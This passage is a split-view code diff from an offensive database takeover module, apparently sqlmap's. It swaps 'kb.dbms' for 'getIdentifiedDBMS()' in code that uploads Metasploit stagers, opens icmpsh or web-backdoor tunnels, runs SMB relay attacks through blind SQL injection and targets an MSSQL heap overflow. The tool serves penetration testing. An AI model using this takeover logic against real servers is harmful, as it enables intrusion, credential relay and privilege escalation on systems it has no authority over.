msg += "on the back-end database underlying operating system?" msg += "on the back-end database underlying operating system?"
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
@ -188,7 +189,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
self.uploadMsfPayloadStager() self.uploadMsfPayloadStager()
if kb.os == "Windows" and conf.privEsc: if kb.os == "Windows" and conf.privEsc:
if kb.dbms == DBMS.MYSQL: if getIdentifiedDBMS() == DBMS.MYSQL:
debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg = "by default MySQL on Windows runs as SYSTEM "
debugMsg += "user, no need to privilege escalate" debugMsg += "user, no need to privilege escalate"
logger.debug(debugMsg) logger.debug(debugMsg)
@ -206,7 +207,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
self.uploadIcmpshSlave(web=web) self.uploadIcmpshSlave(web=web)
self.icmpPwn() self.icmpPwn()
elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and kb.dbms == DBMS.MYSQL: elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and getIdentifiedDBMS() == DBMS.MYSQL:
web = True web = True
infoMsg = "going to use a web backdoor to establish the tunnel" infoMsg = "going to use a web backdoor to establish the tunnel"
@ -255,13 +256,13 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
raise sqlmapUnsupportedDBMSException(errMsg) raise sqlmapUnsupportedDBMSException(errMsg)
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
if kb.dbms in ( DBMS.PGSQL, DBMS.MSSQL ): if getIdentifiedDBMS() in ( DBMS.PGSQL, DBMS.MSSQL ):
errMsg = "on this back-end DBMS it is only possible to " errMsg = "on this back-end DBMS it is only possible to "
errMsg += "perform the SMB relay attack if stacked " errMsg += "perform the SMB relay attack if stacked "
errMsg += "queries are supported" errMsg += "queries are supported"
raise sqlmapUnsupportedDBMSException(errMsg) raise sqlmapUnsupportedDBMSException(errMsg)
elif kb.dbms == DBMS.MYSQL: elif getIdentifiedDBMS() == DBMS.MYSQL:
debugMsg = "since stacked queries are not supported, " debugMsg = "since stacked queries are not supported, "
debugMsg += "sqlmap is going to perform the SMB relay " debugMsg += "sqlmap is going to perform the SMB relay "
debugMsg += "attack via inference blind SQL injection" debugMsg += "attack via inference blind SQL injection"
@ -270,18 +271,18 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
printWarn = True printWarn = True
warnMsg = "it is unlikely that this attack will be successful " warnMsg = "it is unlikely that this attack will be successful "
if kb.dbms == DBMS.MYSQL: if getIdentifiedDBMS() == DBMS.MYSQL:
warnMsg += "because by default MySQL on Windows runs as " warnMsg += "because by default MySQL on Windows runs as "
warnMsg += "Local System which is not a real user, it does " warnMsg += "Local System which is not a real user, it does "
warnMsg += "not send the NTLM session hash when connecting to " warnMsg += "not send the NTLM session hash when connecting to "
warnMsg += "a SMB service" warnMsg += "a SMB service"
elif kb.dbms == DBMS.PGSQL: elif getIdentifiedDBMS() == DBMS.PGSQL:
warnMsg += "because by default PostgreSQL on Windows runs " warnMsg += "because by default PostgreSQL on Windows runs "
warnMsg += "as postgres user which is a real user of the " warnMsg += "as postgres user which is a real user of the "
warnMsg += "system, but not within the Administrators group" warnMsg += "system, but not within the Administrators group"
elif kb.dbms == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ): elif getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ):
warnMsg += "because often Microsoft SQL Server %s " % kb.dbmsVersion[0] warnMsg += "because often Microsoft SQL Server %s " % kb.dbmsVersion[0]
warnMsg += "runs as Network Service which is not a real user, " warnMsg += "runs as Network Service which is not a real user, "
warnMsg += "it does not send the NTLM session hash when " warnMsg += "it does not send the NTLM session hash when "
@ -299,7 +300,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
return return
if not kb.dbms == DBMS.MSSQL or kb.dbmsVersion[0] not in ( "2000", "2005" ): if not getIdentifiedDBMS() == DBMS.MSSQL or kb.dbmsVersion[0] not in ( "2000", "2005" ):
errMsg = "the back-end DBMS must be Microsoft SQL Server " errMsg = "the back-end DBMS must be Microsoft SQL Server "
errMsg += "2000 or 2005 to be able to exploit the heap-based " errMsg += "2000 or 2005 to be able to exploit the heap-based "
errMsg += "buffer overflow in the 'sp_replwritetovarbin' " errMsg += "buffer overflow in the 'sp_replwritetovarbin' "